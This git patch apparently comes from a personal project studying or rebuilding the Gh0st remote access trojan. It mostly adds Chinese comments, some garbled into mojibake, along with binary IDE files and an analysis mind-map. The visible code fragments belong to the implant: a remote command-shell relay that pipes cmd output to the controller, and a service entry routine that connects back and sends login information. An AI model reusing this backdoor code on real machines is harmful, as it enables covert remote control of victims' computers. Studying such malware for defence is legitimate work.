From 2349891948633848f6ef575b5a0cb2190bab647a Mon Sep 17 00:00:00 2001 From: ChangCheng Date: Thu, 28 May 2020 18:37:25 +0800 Subject: [PATCH] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E4=BA=86=E6=A1=86=E6=9E=B6xm?= =?UTF-8?q?ind=E6=B5=81=E7=A8=8B=E5=9B=BE=EF=BC=8C=E6=96=B9=E4=BE=BF?= =?UTF-8?q?=E7=90=86=E8=A7=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CcMainDll/.vs/CcMainDll/v15/.suo | Bin 93696 -> 94720 bytes CcMainDll/CcMainDll/common/ShellManager.cpp | 28 ++++++++++++++++---- CcMainDll/CcMainDll/dllmain.cpp | 16 ++++++----- CcRemote/.vs/CcRemote/v15/.suo | Bin 103424 -> 88576 bytes CcRemote/CcRemote/CSystemDlg.cpp | 8 +++--- CcRemote/CcRemote/include/IOCPServer.cpp | 1 - CcRemote/CcRemote/include/IOCPServer.h | 8 +++--- ghostAnalyze.emmx | Bin 0 -> 15733 bytes 8 files changed, 40 insertions(+), 21 deletions(-) create mode 100644 ghostAnalyze.emmx diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index ffc00f53827e3202ea5ed01b2ced43c15fa9fe84..4cdec12ef47277b82b6147729ec3444df3beb3f3 100644 GIT binary patch delta 6641 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 Nn;zZE7Qv@3{{+7D+R^|3 delta 4226 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, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL)) { + //没有跳出循环 if (BytesRead <= 0) break; memset(ReadBuff, 0, sizeof(ReadBuff)); LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail); + //读取管道数据 ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL); - // 发送数据 + // 发送数据 ---->OnReceive会接受数据 pThis->Send(lpBuffer, BytesRead); LocalFree(lpBuffer); } @@ -134,6 +148,8 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam) return 0; } + +//等待结束,清理线程关闭链接 DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam) { CShellManager *pThis = (CShellManager *)lparam; @@ -141,6 +157,8 @@ DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam) hThread[0] = pThis->m_hProcessHandle; hThread[1] = pThis->m_hThreadRead; WaitForMultipleObjects(2, hThread, FALSE, INFINITE); + + //关闭上面的CMD循环读取数据的线程 TerminateThread(pThis->m_hThreadRead, 0); TerminateProcess(pThis->m_hProcessHandle, 1); pThis->m_pClient->Disconnect(); diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp index b18c3dd..31772f8 100644 --- a/CcMainDll/CcMainDll/dllmain.cpp +++ b/CcMainDll/CcMainDll/dllmain.cpp @@ -12,9 +12,9 @@ DWORD g_dwServiceType; enum { NOT_CONNECT, // 杩樻病鏈夎繛鎺 - GETLOGINFO_ERROR, - CONNECT_ERROR, - HEARTBEATTIMEOUT_ERROR + GETLOGINFO_ERROR,//鑾峰彇淇℃伅澶辫触 + CONNECT_ERROR,//閾炬帴澶辫触 + HEARTBEATTIMEOUT_ERROR //蹇冭烦瓒呮椂閾炬帴澶辫触 }; DWORD WINAPI main(char *lpServiceName); @@ -53,9 +53,9 @@ DWORD WINAPI main(char *lpServiceName) wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 闅忔満浜嬩欢鍚 hInstallMutex = CreateMutex(NULL, true, g_strHost); - //ReConfigService(strServiceName); //--lang-- + //ReConfigService(strServiceName); // 鍒犻櫎瀹夎鏂囦欢 - // DeleteInstallFile(lpServiceName); //--lang-- + // DeleteInstallFile(lpServiceName); } // 鍛婅瘔鎿嶄綔绯荤粺:濡傛灉娌℃湁鎵惧埌CD/floppy disc,涓嶈寮圭獥鍙e悡浜 SetErrorMode(SEM_FAILCRITICALERRORS); @@ -115,6 +115,8 @@ DWORD WINAPI main(char *lpServiceName) sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); //---娉ㄦ剰杩欓噷杩炴帴鎴愬姛鍚庡0鏄庝簡涓涓狢KernelManager 鍒癈KernelManager绫绘煡鐪嬩竴涓 CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); + //socketClient涓殑涓诲洖璋冨嚱鏁拌缃綅杩機KernelManager绫讳腑鐨凮nReceive + //锛堟瘡涓姛鑳界被閮芥湁OnReceive鍑芥暟鏉ュ鐞嗘帴鍙楃殑鏁版嵁浠栦滑閮界户鎵胯嚜鐖剁被CManager锛 socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// @@ -123,14 +125,14 @@ DWORD WINAPI main(char *lpServiceName) { Sleep(1000); } - // 10绉掑悗杩樻病鏈夋敹鍒版帶鍒剁鍙戞潵鐨勬縺娲诲懡浠わ紝璇存槑瀵规柟涓嶆槸鎺у埗绔紝閲嶆柊杩炴帴 + // 10绉掑悗杩樻病鏈夋敹鍒版帶鍒剁鍙戞潵鐨勬縺娲诲懡浠わ紝璇存槑瀵规柟涓嶆槸鎺у埗绔紝閲嶆柊杩炴帴锛岃幏鍙栨槸鍚︽湁鏁堟爣蹇 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; - dwTickCount = GetTickCount(); + dwTickCount = GetTickCount();//鑾峰彇鏃堕棿鎴 do { diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index 004c963037e0c89830151ab752926c61d4083832..828565301f17be9b66f0a5bb7e379a9b655d5126 100644 GIT binary patch delta 5934 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 B2~Pk3 delta 4790 zcmeHKZBUfg72fl*3yUBwn~kC(EGsI31(#(}5Rm1=F9g{I6|`DFf#4T@ZBQxbVv|-o zIDz-r+{AIBu95J=#=vW`8JkIH)QoLr6rIE|NvpKuWF~E6kzd5`m-0D6p* zVj~7xdOyy!U4?AYyVqi~)GS?8;TO_g*o(V@itwzIx<{eDd?Wp%5=^*DbB&bo)Mhy% zP@AacwWd-11i?t)el67*gdV~a!WaVY>v6(l!fZk&A&J1>8>mhoEKsTTsH`NU5XKRv z6P_Z>An?QmREHB{3Gsvpgh>SME2KJ-kVY^QY=k&MG{Hfz5atqA6L>r?97eL8Fp-c> zSV-&pI^p-&T8ImRG`6%wGYS}I-RkOjihJ{C^u8REge3H@3oRZ3tG4n~!R0*4W282(JtKtd|+n)p-M;DQ2t%22B1t&R)ygB^zqOG1Hl zK>;1Q9&bmtCwVHh+0X~Ez3%+hmonBJxP_&iSKrDyfsRDVz=so}IGvdZ9Q3>$_9kZ? z(PxD|-G_;zKI=$w7$2OMqjaQAX~-wbmH&Wg%I(S!ko5(4wj@D$5cGfDohPb{3* zpy_?3cS`|ifYac}fd;RjMo0=aZ(S7X%f+0W`5199)r`jasiDB(!C~Uly6Q{$-oU|n zckmTb{u!`YpMahxf9Nr(<*0Lya1OfOcHp^**>d6?18*x&w*jFc0|(UVd&e2*0=yAn!4 z&DS8$5v(WSPzZiGu}I5_)|bCYuec_i1T-3t`#oW#6E#}U71!Q7y%4mViaA;NcQK>g zQ>K=UXGaf}*Ei}{6|60*+qBtLcVFtJnd)FfIsa;F2=5JxuDg7l6+;SKd-JUk+@x<~m+h|7p{gDwQ%k52Rj;Nm5LEuS4%{H+&_YMdWm_z#9Bjj$MJD3_fova-0sDp4~1gD))dJ@%PPemdcUmJt@%b(DsWteTV5e`|gV|fVLKT)$bJk4sh z&T5%ovvGUfdf#xJSBKs4QRu!lR@>TQO|_Y=8T3^e>h4C2bOg1wWMFqin%Jy^u*im% zA6Wt=nd@Y^DId%C7?gF(1)$^OagnVp7PIw#U}K&u(&)WmX;T=!T9L%2L@4${ec*Xs zFCXsKSW}dnH2xrCT%99F51=Bgo zu>F#7ro$?%uFxxu@5tb}qGkmucwrNGUQ}bpu|y^DrK>^mAMJ|$WS<6){c;+4bF5;$ zb}`7)D|xP~J*OqlO*KZI-azh2SB}134QT&Mt@um>24&}&eSn=)qs49qnU?t3)v!?u zei{7l1u^}al_v&on+2*sRB7Ot=OYPIKKwxW;CfOJIzGx|;wbh{`aleff&I$omcsAiQxlV3cC~Vh)Ho>F_R28PY4y3=P3^Q(!f&{JRl7FIuqrM1+`-2GhMO zb07*{4~BPue=Sg%?=#9q|5M4#d@|5RKQfZ3l}g88@f`y9@o})>d4vKoT|VsoN|M0- z8VmNdxY5vSqD{x3yVb4XyjCyT@}U%;%^okVXF#w}XMjuG%m9bz&4gx=oe51Meh%Cb zo-EiVj9IW(*fOD!-J^TmxE*d?lSU@tU?)CJ%aZ!QIc zcxx_A=gEbe!j?;u#4m=qc&Rp84A|i!#x$8ke;$~{mVD6hM#`Sc2a|B;(-fzdL6NA= zhiIB4ZVr@-jsi%5GTwYiNQ#PIS|FY+gj>=!6}A;_p*^ID)_JfFmixwtBf+4>#@t|W zWtP?H#TK&v?DAm&qWRibbhh^OhI zrwD3r_20sY5ByVfDU&0ILy{EyjH~xY5b<%6??drm_DeCompressionBuffer.GetBufferLen() - 1; i++) { LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset); //杩欓噷寰楀埌杩涚▼ID - strExeFile = lpBuffer + dwOffset + sizeof(DWORD); //杩涚▼鍚嶅氨鏄疘D涔嬪悗鐨勫暒 - strProcessName = strExeFile + lstrlen(strExeFile) + 1; //瀹屾暣鍚嶅氨鏄繘绋嬪悕涔嬪悗鐨勫暒 - //浠栫殑鏁版嵁缁撴瀯鐨勬瀯寤哄緢宸у + strExeFile = lpBuffer + dwOffset + sizeof(DWORD); //杩涚▼鍚嶅氨鏄疘D涔嬪悗鐨 + strProcessName = strExeFile + lstrlen(strExeFile) + 1; //瀹屾暣鍚嶅氨鏄繘绋嬪悕涔嬪悗鐨 + //鏁版嵁缁撴瀯鏋勫缓宸у m_list_process.InsertItem(i, strExeFile); //灏嗗緱鍒扮殑鏁版嵁鍔犲叆鍒板垪琛ㄥ綋涓 str.Format("%5u", *lpPID); diff --git a/CcRemote/CcRemote/include/IOCPServer.cpp b/CcRemote/CcRemote/include/IOCPServer.cpp index b80f01f..6139686 100644 --- a/CcRemote/CcRemote/include/IOCPServer.cpp +++ b/CcRemote/CcRemote/include/IOCPServer.cpp @@ -43,7 +43,6 @@ CRITICAL_SECTION CIOCPServer::m_cs; // //////////////////////////////////////////////////////////////////////////////// -//lang2.1_4 CIOCPServer::CIOCPServer() //简单分析CIOCPServer类 套接字数据处理的类 { TRACE("CIOCPServer=%p\n",this); diff --git a/CcRemote/CcRemote/include/IOCPServer.h b/CcRemote/CcRemote/include/IOCPServer.h index 209fcd4..0448faa 100644 --- a/CcRemote/CcRemote/include/IOCPServer.h +++ b/CcRemote/CcRemote/include/IOCPServer.h @@ -23,10 +23,10 @@ //////////////////////////////////////////////////////////////////// -#define NC_CLIENT_CONNECT 0x0001 -#define NC_CLIENT_DISCONNECT 0x0002 -#define NC_TRANSMIT 0x0003 -#define NC_RECEIVE 0x0004 +#define NC_CLIENT_CONNECT 0x0001 //客户端链接 +#define NC_CLIENT_DISCONNECT 0x0002 //客户端断开链接 +#define NC_TRANSMIT 0x0003 //传输 +#define NC_RECEIVE 0x0004 //接受 #define NC_RECEIVE_COMPLETE 0x0005 // 完整接收 class CLock diff --git a/ghostAnalyze.emmx b/ghostAnalyze.emmx new file mode 100644 index 0000000000000000000000000000000000000000..7360af06ba755e97deef65cf3c47147a291af5c1 GIT binary patch literal 15733 zcmZ{L1CS`qlJ3~HZJ)7i+qP}nwr$%s&e*oj*q(XkzZ?7By&G@4qgqk*byj6Zc2<3v z@>0McC;$Ke5C9s<-SYJnv6cgX0003X001z5pBmd4x!9Q4I@7t^Sf?oK*<~>x_~kX< z=-E8 zm^GmChPq&oKA6Z9y5A&j>+!Ihu0d@;*TU)n4?_AgCXVj2oBurt-znf|m2?+qbStVV zFA3_#I951BSt2wEN-st2J8#&KMqWs50I-yF#avhhktbjq1+JFK5p6QzP$aWl_@c<6 zfw>3qHpr{VUDzt`{AV#a_}p6B%)mLYPG;&W9ov^rxX#*+^?r@6kXPoDg4lo+d#ouq z7sc5Z{eXTn(2PevO`A~nX1?`eZC^HPI}pFKChv)j$7ywcx1}S&aP@u^j%*qEL>0Yb zz?Ti~S%OLfo!&pEJ}0skM&m?wD5#yBU9RcUV-@o=1)~$atdBuNTpQKk_v$8sPYu8#4|%aRg#+Qa`HkDFC2#t2z!%z|CfFd?fKw15>Ne zy%05_S_T11uq!7GQ~>oQ_4z*;YjJ$?|DkHHFK`*eb=~1V|&jv{3PGFjfN+~h)INlo;^?CE>y$f6Yxx+6#fuc6O)}u~o z2|{ixrbg~C3X^cjP}XDDVS$%jJ4WvCTc@DQ&8Dr+BWWQMZ^C(V$edZGT7EhKp9#A` zOZ!vR;RYv5ATo-av{T6T`(V;?n=S}p^1JcVtHZ)^8?p-p095wqs3K$Vd{T7V4f$btkmy|a1?@}k zJGP9*J?NT^qY#{g5&a@%qd?K2m12*s@Ctooabq(5A#Z4*Pz$XvDLJvClHo z^8H}7HjlHp3x^vq1vjaKA@NH;PY-V>1+NxMDmS!0W|LuLmV(S_Q;!Ccd z(xq>na)n|9`edv*>@<104z1EO|9GibY3V&rYa~HeL91>BvPrr8l=`@l2?z*&;mx^K zo>XqgHh99Re4UA1ylKLdk&zz%Vk?j1t!}FR)G0;VY=;r(5 z2+V~5P-H%!(r|rlnZJnmxWp70BA|E*09XS!6b!bEB_5VWpd1qeKxSkhw;FZwV#*l8 zlh+w)LvqLu_!@e31uI!FZ-XC-tWaqwP;0q}2Sz7JIjGW@%tEkpw(jkI-r1nb@RSr9 zl0k_ktM`Ro`Q7$IRY3gPwS*fJxp)-v1GZq*F;bH%Qa6NqRH#MsnAl7_kuHn=I{`)< z$4BL(w{R)8FDs|5`eCpo7j9ns8vY9_sU`}<%O-KdMky(m90})spe`KCRo1}k>^z<> zW6V;-xzr5-kAWEy6G1Fmu&vjO1g}37B)(EKM)Qxo_3pWIMWZ{T+0XH_@Nl_v-NtSZ z;d_y)dUaNdc9TjIufh_!RvxpA%(b~ejXI}~{h((<%g5*Z&K0zmoE=iW`|SMmH3BfA z52ILZqawAkno}%k^RDTdg=PzQKosenX3{sGsxGHybxoJ(;CErTTO_05hRL!e-AyFJ zskeYIPnm6x%8Sdzg3ZM_y_cEol`W6u)*M4O`G`*VJhD)vLD4j~ zev5q{Sbu34gh)@=t9Si)@yu7y zQHW9`ZVxG2*iSnW-BmcxVC|kdB-GDAv#yntzd8p0OqobAeUP@0W2 z3o9c7HyOL-nKRrhb3jegNzJU3m3Dyy^TZ9?{Z%9hJOo{==cRpDa53cRWc#_9=_i9;xhOmbC2kPLo4i|gHL@sS`@{4CGNUhNE+@tQM0lCzq(t_oT zKV$-6-5DTgJyO_VIa-*3g#Mwy8OmC25upY^`bScnBp!(>jdP=i!6`I?;)>3=L~M;~ 